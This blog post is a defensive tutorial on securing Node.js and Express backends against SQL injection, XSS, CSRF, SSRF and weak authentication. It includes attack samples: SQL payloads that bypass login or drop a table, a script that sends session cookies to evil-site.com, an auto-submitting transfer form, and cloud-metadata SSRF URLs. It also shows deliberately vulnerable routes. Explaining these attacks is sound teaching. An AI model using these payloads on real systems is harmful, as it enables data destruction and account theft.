Web security is a critical concern for any backend developer. If you’re building applications using Node.js and Express, it’s essential to safeguard your backend against common security threats such as SQL injections, cross-site scripting (XSS), cross-site request forgery (CSRF), and other vulnerabilities. This comprehensive guide explores these attacks in depth and demonstrates best practices to prevent them with practical coding examples.
1. SQL Injection
SQL Injection (SQLi) remains one of the most prevalent web application security vulnerabilities. It occurs when an attacker manipulates SQL queries by injecting malicious SQL code into input fields, potentially allowing them to gain unauthorized access to a database or even delete data.
Example of SQL Injection Attack
Consider the following vulnerable Express route:
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
const result = await db.query(query);
if (result.length > 0) {
res.send("Login successful");
} else {
res.send("Invalid credentials");
}
});
An attacker can exploit this by submitting:
username: 'admin' --
password: anything
The resulting query will become:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
Since the -- character comments out the rest of the SQL query, authentication is bypassed.
Even more dangerous, an attacker could use:
username: admin'; DROP TABLE users; --
password: anything
This could delete your entire users table!
Preventing SQL Injection
Solution 1: Using Parameterized Queries
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
const result = await db.query(query, [username, password]);
if (result.length > 0) {
res.send("Login successful");
} else {
res.send("Invalid credentials");
}
});
Solution 2: Using ORMs
Using an ORM like Sequelize or Prisma ensures automatic query sanitization:
// Sequelize example
const user = await User.findOne({
where: {
username,
password
}
});
// Prisma example
const user = await prisma.user.findUnique({
where: {
username_password: {
username,
password
}
}
});
Solution 3: Using SQL Template Literals
For more complex queries, consider SQL template literals libraries like sql-template-strings:
const SQL = require('sql-template-strings');
app.get('/users', async (req, res) => {
const { role, active } = req.query;
let query = SQL`SELECT * FROM users WHERE 1=1`;
if (role) {
query.append(SQL` AND role = ${role}`);
}
if (active !== undefined) {
query.append(SQL` AND is_active = ${active}`);
}
const users = await db.query(query);
res.json(users);
});
2. Cross-Site Scripting (XSS)
XSS occurs when an attacker injects malicious scripts into web pages viewed by users. This can be done via form inputs, URL parameters, or stored data in a database.
Types of XSS Attacks
- Reflected XSS: Malicious script is reflected off the web server in an error message or search result.
- Stored XSS: Malicious script is stored on the server (e.g., in a database) and later served to users.
- DOM-based XSS: Vulnerability exists in client-side code rather than server-side code.
Example of Stored XSS Attack
Consider a comment system:
app.post('/comments', async (req, res) => {
const { comment } = req.body;
await db.query('INSERT INTO comments (content) VALUES (?)', [comment]);
res.redirect('/comments');
});
app.get('/comments', async (req, res) => {
const comments = await db.query('SELECT * FROM comments');
let html = '<h1>Comments</h1>';
comments.forEach(comment => {
html += `<div>${comment.content}</div>`;
});
res.send(html);
});
An attacker could submit:
<script>
document.addEventListener('DOMContentLoaded', () => {
const token = document.cookie.match(/session=([^;]+)/)[1];
fetch('https://evil-site.com/steal?token=' + token);
});
</script>
This script would steal session cookies from any user viewing the comments page.
Preventing XSS ❌
Solution 1: Using Helmet
const helmet = require('helmet');
app.use(helmet());
This sets several HTTP headers to help prevent XSS attacks.
Solution 2: Content Security Policy (CSP)
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "trusted-cdn.com"],
styleSrc: ["'self'", "trusted-cdn.com"],
imgSrc: ["'self'", "data:", "trusted-cdn.com"],
connectSrc: ["'self'", "api.trusted-service.com"],
fontSrc: ["'self'", "trusted-cdn.com"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"],
}
}));
Solution 3: Sanitizing HTML Content
For React applications:
import DOMPurify from 'dompurify';
function Comment({ content }) {
return <div dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(content)
}} />;
}
For server-side sanitization:
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
app.get('/comments', async (req, res) => {
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const comments = await db.query('SELECT * FROM comments');
let html = '<h1>Comments</h1>';
comments.forEach(comment => {
const sanitized = DOMPurify.sanitize(comment.content);
html += `<div>${sanitized}</div>`;
});
res.send(html);
});
Solution 4: Using Template Engines Properly
With EJS:
app.get('/profile', (req, res) => {
res.render('profile', {
name: req.query.name
});
});
In profile.ejs:
<h1>Welcome, <%= name %></h1>
The <%= %> syntax automatically escapes the output.
3. Cross-Site Request Forgery (CSRF)
CSRF occurs when an attacker tricks a user into executing unwanted actions on a web application where they are authenticated.
Example of CSRF Attack
If a banking site allows fund transfers via a simple request:
app.post('/transfer', async (req, res) => {
const { amount, recipient } = req.body;
if (req.user) {
await transferFunds(req.user.id, recipient, amount);
res.send("Transfer successful");
}
});
An attacker could craft a malicious website with an auto-submitting form:
<html>
<body onload="document.getElementById('hack-form').submit()">
<form id="hack-form" action="https://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000" />
<input type="hidden" name="recipient" value="attacker" />
</form>
</body>
</html>
Preventing CSRF
Solution 1: Using csurf Middleware
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
app.use(cookieParser());
app.use(csrf({ cookie: true }));
app.get('/transfer-form', (req, res) => {
res.render('transfer', { csrfToken: req.csrfToken() });
});
app.post('/transfer', (req, res) => {
// CSRF token is automatically verified by middleware
// Transfer logic here
res.send("Transfer successful");
});
In your form:
<form action="/transfer" method="post">
<input type="hidden" name="_csrf" value="<%= csrfToken %>">
<input type="text" name="amount">
<input type="text" name="recipient">
<button type="submit">Transfer</button>
</form>
Solution 2: Using SameSite Cookies
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict'
}
}));
Solution 3: Custom Token Verification
const crypto = require('crypto');
// Generate and store CSRF token
app.get('/form', (req, res) => {
const token = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = token;
res.render('form', { csrfToken: token });
});
// Verify CSRF token
app.post('/transfer', (req, res) => {
const { _csrf, amount, recipient } = req.body;
if (!_csrf || _csrf !== req.session.csrfToken) {
return res.status(403).send('CSRF token validation failed');
}
// Continue with transfer
transferFunds(req.user.id, recipient, amount);
res.send('Transfer successful');
});
4. Broken Authentication and Session Management
Poorly implemented authentication and session management can lead to account hijacking or privilege escalation.
Example of Authentication Vulnerabilities
- Weak Credentials Storage:
// ❌ INSECURE: Storing plaintext passwords
app.post('/register', async (req, res) => {
const { username, password } = req.body;
await db.query('INSERT INTO users (username, password) VALUES (?, ?)',
[username, password]);
res.send('Registration successful');
});
- Improper Session Management:
// ❌ INSECURE: Weak session configuration
app.use(session({
secret: 'my-secret',
resave: true,
saveUninitialized: true,
cookie: {}
}));
Preventing Authentication Vulnerabilities
Solution 1: Secure Password Storage
const bcrypt = require('bcrypt');
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// Validate password strength
const passwordRegex = /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{8,}$/;
if (!passwordRegex.test(password)) {
return res.status(400).send('Password must be at least 8 characters and include uppercase, lowercase, numbers, and special characters');
}
// Hash password - always or even better use SSO
const saltRounds = 12;
const hashedPassword = await bcrypt.hash(password, saltRounds);
// Store user with hashed password
await db.query('INSERT INTO users (username, password) VALUES (?, ?)',
[username, hashedPassword]);
res.send('Registration successful');
});
Solution 2: Secure Authentication Logic
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Retrieve user
const [users] = await db.query('SELECT * FROM users WHERE username = ?', [username]);
const user = users[0];
// Always compare hashes even if user doesn't exist (prevents timing attacks)
if (!user || !(await bcrypt.compare(password, user.password))) {
// Use consistent error messages that don't reveal whether username exists
return res.status(401).send('Invalid credentials');
}
// Set session
req.session.userId = user.id;
// Regenerate session to prevent session fixation
req.session.regenerate(err => {
if (err) return res.status(500).send('Error establishing session');
res.send('Login successful');
});
});
Solution 3: Secure Session Configuration
const session = require('express-session');
app.use(session({
secret: process.env.SESSION_SECRET, // Use environment variable
resave: false,
saveUninitialized: false,
cookie: {
secure: process.env.NODE_ENV === 'production', // HTTPS in production
httpOnly: true, // Prevents JavaScript access
maxAge: 1000 * 60 * 60 * 2, // 2 hours
sameSite: 'strict' // Prevents CSRF
}
}));
Solution 4: Implementing Multi-Factor Authentication (MFA)
const speakeasy = require('speakeasy');
const QRCode = require('qrcode');
// Generate MFA secret during registration
app.post('/enable-mfa', async (req, res) => {
const { userId } = req.session;
// Generate a new secret
const secret = speakeasy.generateSecret({
name: `MyApp:${req.user.email}`
});
// Store the secret in the database
await db.query('UPDATE users SET mfa_secret = ? WHERE id = ?',
[secret.base32, userId]);
// Generate QR code
QRCode.toDataURL(secret.otpauth_url, (err, dataUrl) => {
if (err) return res.status(500).send('Error generating QR code');
res.json({
message: 'MFA enabled successfully',
qrCode: dataUrl
});
});
});
// Verify MFA token during login
app.post('/verify-mfa', async (req, res) => {
const { token } = req.body;
const { userId } = req.session;
// Get user's secret
const [users] = await db.query('SELECT mfa_secret FROM users WHERE id = ?', [userId]);
const secret = users[0]?.mfa_secret;
if (!secret) {
return res.status(400).send('MFA not enabled');
}
// Verify token
const verified = speakeasy.totp.verify({
secret,
encoding: 'base32',
token,
window: 1 // Allow 30 seconds before/after for clock skew
});
if (!verified) {
return res.status(401).send('Invalid MFA token');
}
// Complete authentication
req.session.mfaVerified = true;
res.send('Authentication successful');
});
5. Security Headers and HTTP Hardening
Proper HTTP headers can significantly improve your application’s security posture.
Example Vulnerabilities
- Missing Security Headers: Default Express configurations lack important security headers.
- Insecure Cookie Settings: Default cookies may be transmitted over HTTP and accessible via JavaScript.
Implementing Security Headers
Solution 1: Comprehensive Helmet Configuration
const helmet = require('helmet');
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "trusted-cdn.com"],
// Add other directives as needed
}
},
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: true,
crossOriginResourcePolicy: { policy: "same-site" },
dnsPrefetchControl: { allow: false },
expectCt: { enforce: true, maxAge: 30 },
frameguard: { action: "deny" },
hsts: {
maxAge: 15552000, // 180 days
includeSubDomains: true,
preload: true
},
ieNoOpen: true,
noSniff: true,
originAgentCluster: true,
permittedCrossDomainPolicies: { permittedPolicies: "none" },
referrerPolicy: { policy: "strict-origin-when-cross-origin" },
xssFilter: true
}));
Solution 2: Custom Security Middleware
app.use((req, res, next) => {
// Prevent clickjacking
res.setHeader('X-Frame-Options', 'DENY');
// Prevent MIME type sniffing
res.setHeader('X-Content-Type-Options', 'nosniff');
// Enable XSS protection in browsers
res.setHeader('X-XSS-Protection', '1; mode=block');
// Restrict referrer information
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// Prevent browser caching of sensitive data
res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, proxy-revalidate');
res.setHeader('Pragma', 'no-cache');
res.setHeader('Expires', '0');
next();
});
6. Server-Side Request Forgery (SSRF)
SSRF occurs when an attacker can make the server perform unintended requests, potentially accessing internal services or sensitive data.
Example of SSRF Vulnerability
app.get('/fetch-external', async (req, res) => {
const { url } = req.query;
const response = await axios.get(url);
res.send(response.data);
});
An attacker could exploit this to access internal services:
/fetch-external?url=http://localhost:8080/admin
/fetch-external?url=http://169.254.169.254/latest/meta-data/ (AWS metadata)
Preventing SSRF
Solution 1: URL Validation
const isValidUrl = require('valid-url');
app.get('/fetch-external', async (req, res) => {
const { url } = req.query;
// Validate URL format
if (!isValidUrl.isWebUri(url)) {
return res.status(400).send('Invalid URL format');
}
// Parse URL and validate host
const parsedUrl = new URL(url);
// Whitelist of allowed domains
const allowedDomains = ['api.trusted-service.com', 'cdn.trusted-service.com'];
if (!allowedDomains.includes(parsedUrl.hostname)) {
return res.status(403).send('Domain not allowed');
}
// Fetch content
try {
const response = await axios.get(url);
res.send(response.data);
} catch (error) {
res.status(500).send('Error fetching content');
}
});
Solution 2: Using a Proxy Service
const proxyService = require('./proxy-service');
app.get('/fetch-external', async (req, res) => {
const { url } = req.query;
try {
// Proxy service handles URL validation and fetching
const content = await proxyService.fetch(url);
res.send(content);
} catch (error) {
res.status(error.code || 500).send(error.message);
}
});
7. Dependency Security and Vulnerability Management
Dependencies with known vulnerabilities can compromise your application’s security.
Example Vulnerability
Using outdated or vulnerable dependencies:
{
"dependencies": {
"express": "4.16.1",
"lodash": "4.17.11",
"node-fetch": "2.6.0"
}
}
Preventing Dependency Vulnerabilities
Solution 1: Regular Security Audits
# Run npm security audit
npm audit
# Automatically fix issues when possible
npm audit fix
# Force update of packages with breaking changes
npm audit fix --force
Solution 2: Use npm-check-updates
# Install globally
npm install -g npm-check-updates
# Check for outdated dependencies
ncu
# Update package.json
ncu -u
# Update with target filter (security updates only)
ncu -u -t patch
Solution 3: CI/CD Integration with Snyk or Dependabot
GitHub workflows example:
name: Security Scan
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
schedule:
- cron: '0 0 * * 0' # Run weekly
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run Snyk to check for vulnerabilities
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
with:
args: --severity-threshold=high
8. Security Best Practices
Beyond preventing specific attacks, follow these general security best practices:
Environment Variables
Never store sensitive information in your code:
// ❌ INSECURE: Hard-coded credentials
const database = mysql.createConnection({
host: 'localhost',
user: 'admin',
password: 'super-secret-password',
database: 'my_app'
});
// ✅ SECURE: Use environment variables
require('dotenv').config();
const database = mysql.createConnection({
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASSWORD,
database: process.env.DB_NAME
});
Rate Limiting
Prevent brute force attacks with rate limiting:
const rateLimit = require('express-rate-limit');
// General API rate limit
app.use('/api/', rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // Limit each IP to 100 requests per windowMs
standardHeaders: true,
legacyHeaders: false,
message: 'Too many requests from this IP, please try again after 15 minutes'
}));
// Stricter limit for login attempts
const loginLimiter = rateLimit({
windowMs: 30 * 60 * 1000, // 30 minutes
max: 5, // Limit each IP to 5 login attempts per windowMs
message: 'Too many login attempts, please try again after 30 minutes'
});
app.post('/login', loginLimiter, loginController.login);
Input Validation and Sanitization
Always validate and sanitize user input:
const { body, validationResult } = require('express-validator');
app.post('/register',
// Validation chain
[
body('username')
.trim()
.isLength({ min: 3, max: 20 })
.withMessage('Username must be between 3-20 characters')
.matches(/^[A-Za-z0-9_]+$/)
.withMessage('Username can only contain letters, numbers and underscores'),
body('email')
.isEmail()
.withMessage('Must provide a valid email')
.normalizeEmail(),
body('password')
.isLength({ min: 8 })
.withMessage('Password must be at least 8 characters long')
.matches(/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]+$/)
.withMessage('Password must contain at least one uppercase letter, lowercase letter, number, and special character')
],
async (req, res) => {
// Check for validation errors
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Process valid registration
// ...
res.send('Registration successful');
}
);
File Upload Security
Secure file uploads to prevent malicious file execution:
const multer = require('multer');
const path = require('path');
const crypto = require('crypto');
// Configure storage
const storage = multer.diskStorage({
destination: (req, file, cb) => {
cb(null, 'uploads/');
},
filename: (req, file, cb) => {
// Generate random filename to prevent path traversal
crypto.randomBytes(16, (err, raw) => {
if (err) return cb(err);
cb(null, raw.toString('hex') + path.extname(file.originalname));
});
}
});
// Configure file filter
const fileFilter = (req, file, cb) => {
// Accept only specific MIME types
const allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
if (allowedMimes.includes(file.mimetype)) {
cb(null, true);
} else {
cb(new Error('Invalid file type. Only JPEG, PNG and GIF allowed.'));
}
};
// Configure multer
const upload = multer({
storage,
fileFilter,
limits: {
fileSize: 5 * 1024 * 1024, // 5MB
files: 1
}
});
// Handle file uploads
app.post('/upload', upload.single('image'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded or invalid file');
}
// Scan file with antivirus (example)
scanFile(req.file.path)
.then(isClean => {
if (!isClean) {
// Delete malicious file
fs.unlinkSync(req.file.path);
return res.status(400).send('File contains malware');
}
res.json({
message: 'File uploaded successfully',
filename: req.file.filename
});
})
.catch(err => {
res.status(500).send('Error scanning file');
});
});
API Security
Protect your API endpoints with authentication and proper access controls:
const jwt = require('jsonwebtoken');
// Authentication middleware
const authenticate = (req, res, next) => {
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).send('Authentication required');
}
const token = authHeader.split(' ')[1];
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded;
next();
} catch (error) {
return res.status(403).send('Invalid or expired token');
}
};
// Role-based authorization middleware
const authorize = (requiredRole) => {
return (req, res, next) => {
if (!req.user) {
return res.status(401).send('Authentication required');
}
if (req.user.role !== requiredRole && req.user.role !== 'admin') {
return res.status(403).send('Insufficient permissions');
}
next();
};
};
// Protected route example
app.get('/api/admin/users', authenticate, authorize('admin'), (req, res) => {
// Only admin users can access this route
res.send('Admin users list');
});
// User-specific data access
app.get('/api/user/:userId/profile', authenticate, (req, res) => {
const requestedUserId = req.params.userId;
// Only allow users to access their own data, unless admin
if (req.user.id !== requestedUserId && req.user.role !== 'admin') {
return res.status(403).send('Access denied');
}
// Return user profile data
res.json({ profile: 'User profile data' });
});
9. Logging and Monitoring
Proper logging and monitoring are crucial for detecting and responding to security incidents.
Example: Robust Logging System
const winston = require('winston');
const { combine, timestamp, printf, colorize } = winston.format;
// Create logger
const logger = winston.createLogger({
level: process.env.LOG_LEVEL || 'info',
format: combine(
timestamp(),
printf(({ level, message, timestamp, ...metadata }) => {
return `${timestamp} [${level}]: ${message} ${
Object.keys(metadata).length ? JSON.stringify(metadata) : ''
}`;
})
),
transports: [
new winston.transports.Console({
format: combine(colorize(), timestamp(), printf(info => `${info.timestamp} ${info.level}: ${info.message}`))
}),
new winston.transports.File({ filename: 'error.log', level: 'error' }),
new winston.transports.File({ filename: 'combined.log' })
]
});
// Request logging middleware
app.use((req, res, next) => {
const start = Date.now();
// Log request
logger.info(`Request: ${req.method} ${req.url}`, {
ip: req.ip,
userAgent: req.headers['user-agent']
});
// Log response
res.on('finish', () => {
const duration = Date.now() - start;
if (res.statusCode >= 400) {
logger.warn(`Response: ${res.statusCode} - ${duration}ms`, {
method: req.method,
url: req.url,
ip: req.ip
});
} else {
logger.info(`Response: ${res.statusCode} - ${duration}ms`, {
method: req.method,
url: req.url
});
}
});
next();
});
// Error logging middleware
app.use((err, req, res, next) => {
logger.error(`Unhandled error: ${err.message}`, {
stack: err.stack,
method: req.method,
url: req.url,
ip: req.ip,
body: req.body
});
res.status(500).send('Something went wrong');
});
Conclusion
Securing your Node.js (and Express backend) is crucial to protect user data and maintain trust. By implementing parameterized queries, sanitizing inputs, and using security libraries like helmet, csurf, and express-rate-limit, you can significantly reduce the risk of common attacks such as SQL injection, XSS, and CSRF. Always stay up to date with the latest security trends and best practices to keep your application secure.
Security is a vast topic, and ensuring your code remains robust is an ongoing effort. Here, we focused on the 20/80 rule—addressing the 20% of vulnerabilities that account for 80% of common attacks on your system.
Be Safe and code securely!
Discover more from Ido Green
Subscribe to get the latest posts sent to your email.